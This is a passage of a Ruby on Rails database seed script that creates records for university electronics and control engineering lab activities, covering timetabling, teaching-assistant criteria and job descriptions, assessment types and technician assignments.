ActivityProgramme.where(activity_id: a311.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a312 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 5)\n at312 = ActivityTimetable.where(activity_id: a312.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a312.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a312.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a312.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a312.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a312.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a313 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 1)\n at313 = ActivityTimetable.where(activity_id: a313.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a313.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a313.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a313.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a313.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a313.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a314 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 5)\n at314 = ActivityTimetable.where(activity_id: a314.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a314.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a314.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a314.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a314.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a314.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a315 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at315 = ActivityTimetable.where(activity_id: a315.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a315.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a315.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a315.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a315.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a315.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a316 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at316 = ActivityTimetable.where(activity_id: a316.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a316.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a316.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a316.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a316.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a316.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a317 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at317 = ActivityTimetable.where(activity_id: a317.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a317.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a317.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a317.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a317.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a317.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a318 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at318 = ActivityTimetable.where(activity_id: a318.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"For direct entry 2nd year students only\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a318.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a318.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a318.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a318.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a318.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a319 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at319 = ActivityTimetable.where(activity_id: a319.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a319.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a319.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a319.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a319.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a319.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a320 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"138\").first_or_create!(name: \"Introduction to Arduino and IoT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at320 = ActivityTimetable.where(activity_id: a320.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a320.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a320.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\",\n job_desc:\"Assist students in constructing simple circuits on a breadboard with an Arduino controller. Help students to debug and troubleshoot their Arduino code.\n Help students working through a series of exercises to introduce the Arduino platform, leading to an open construction task at the end of the lab.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a320.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a320.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a320.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a321 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"139\").first_or_create!(name: \"Solar Energy\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at321 = ActivityTimetable.where(activity_id: a321.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a321.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a321.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must be familiar with solar cell operation (short circuit current/open circuit voltage/serial and parallel panels/bypass diodes)\n Must be competent with use of digital multimeter\",\n job_desc:\"Assist students in characterising individual solar cells (short circuit current/open circuit voltage/fill factor under LED, halogen and coloured filtered illumination sources).\n Assist students in combining individual cells into panels in series and parallel for further characterisation.\n Explain the need for practical considerations such as bypass diodes and demonstrate their necessity in partial shaded use of solar panels\n Help students construct a solar panel circuit to drive a motor and propeller\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a321.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a321.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a321.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a322 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"140\").first_or_create!(name: \"Building a Solar MPPT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at322 = ActivityTimetable.where(activity_id: a322.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a322.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a322.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\n Ideally familiar with solar maximum power point trackers and associated algorithms\",\n job_desc:\"Help students recall skills from prior labs (Arduino intro, and solar cell characterisation) to construct a maximum power point tracking system.\n Assist the students in writing Arduino code to monitor the voltage and current produced by a solar panel under a dynamic load.\n Help the students implement a maximum power point tracking algorithm by varying the panel load for maximum power output\n Troubleshoot both circuit hardware problems and issues with student code\n Help students test their hardware and software designs and suggest improvements\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a322.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a322.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a322.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a323 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"200\").first_or_create!(name: \"Analysis and Design of Feedback Control Systems\",\n name_abrv: \"AMR231TIMESERVO\", archived: false, in_drive: false, user_id: 3)\n at323 = ActivityTimetable.where(activity_id: a323.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a323.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a323.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a323.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a323.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a323.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a324 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"201\").first_or_create!(name: \"1st Semester Design Project\",\n name_abrv: \"ACS231 - Design Project 1\", archived: true, in_drive: false, user_id: 2)\n at324 = ActivityTimetable.where(activity_id: a324.id).first_or_create!(duration: 180, kit_prep_time: 90, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a324.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a324.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a324.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a324.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a325 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"202\").first_or_create!(name: \"Mechatronics Design Project\",\n name_abrv: \"ACS231 - Design Project 2\", archived: false, in_drive: false, user_id: 2)\n at325 = ActivityTimetable.where(activity_id: a325.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Equipment would need to be moved between labs\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a325.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a325.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a325.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a325.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a326 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"203\").first_or_create!(name: \"Basic Logic and Computer Based Decision Making\",\n name_abrv: \"Logic Lab\", archived: false, in_drive: false, user_id: 1)\n at326 = ActivityTimetable.where(activity_id: a326.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a326.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a326.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is an introduction into basic logic circuits, (AND, OR, etc and simple sequential circuits, SR latch) . This Lab will also link basic computer based decision making, (simple if and case statements).\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a326.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a326.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a327 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"204\").first_or_create!(name: \"Design and Build Project - Hardware\",\n name_abrv: \"ShaddowBots-Hard\", archived: false, in_drive: false, user_id: 4)\n at327 = ActivityTimetable.where(activity_id: a327.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a327.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a327.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a327.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a327.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a328 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"205\").first_or_create!(name: \"Digital Sampling and Reconstruction of Signals\",\n name_abrv: \"SS-Sample\", archived: false, in_drive: false, user_id: 5)\n at328 = ActivityTimetable.where(activity_id: a328.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a328.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a328.id).first_or_create!(criteria: \"Must have an understanding of discrete signal sampling and reconstruction, and the mathematics used to describe these processes.\",\n job_desc:\"During this session, the students will investigate the effect that sampling of a continuous-time signal has on the resulting signal. Furthermore, they will investigate how filtering of the continuous time signal can overcome some of the issues associated with signal sampling and signal reconstruction.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a328.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a328.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a329 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Systems Laboratory\",\n name_abrv: \"DIS-SERVO\", archived: false, in_drive: false, user_id: 2)\n at329 = ActivityTimetable.where(activity_id: a329.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a329.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: 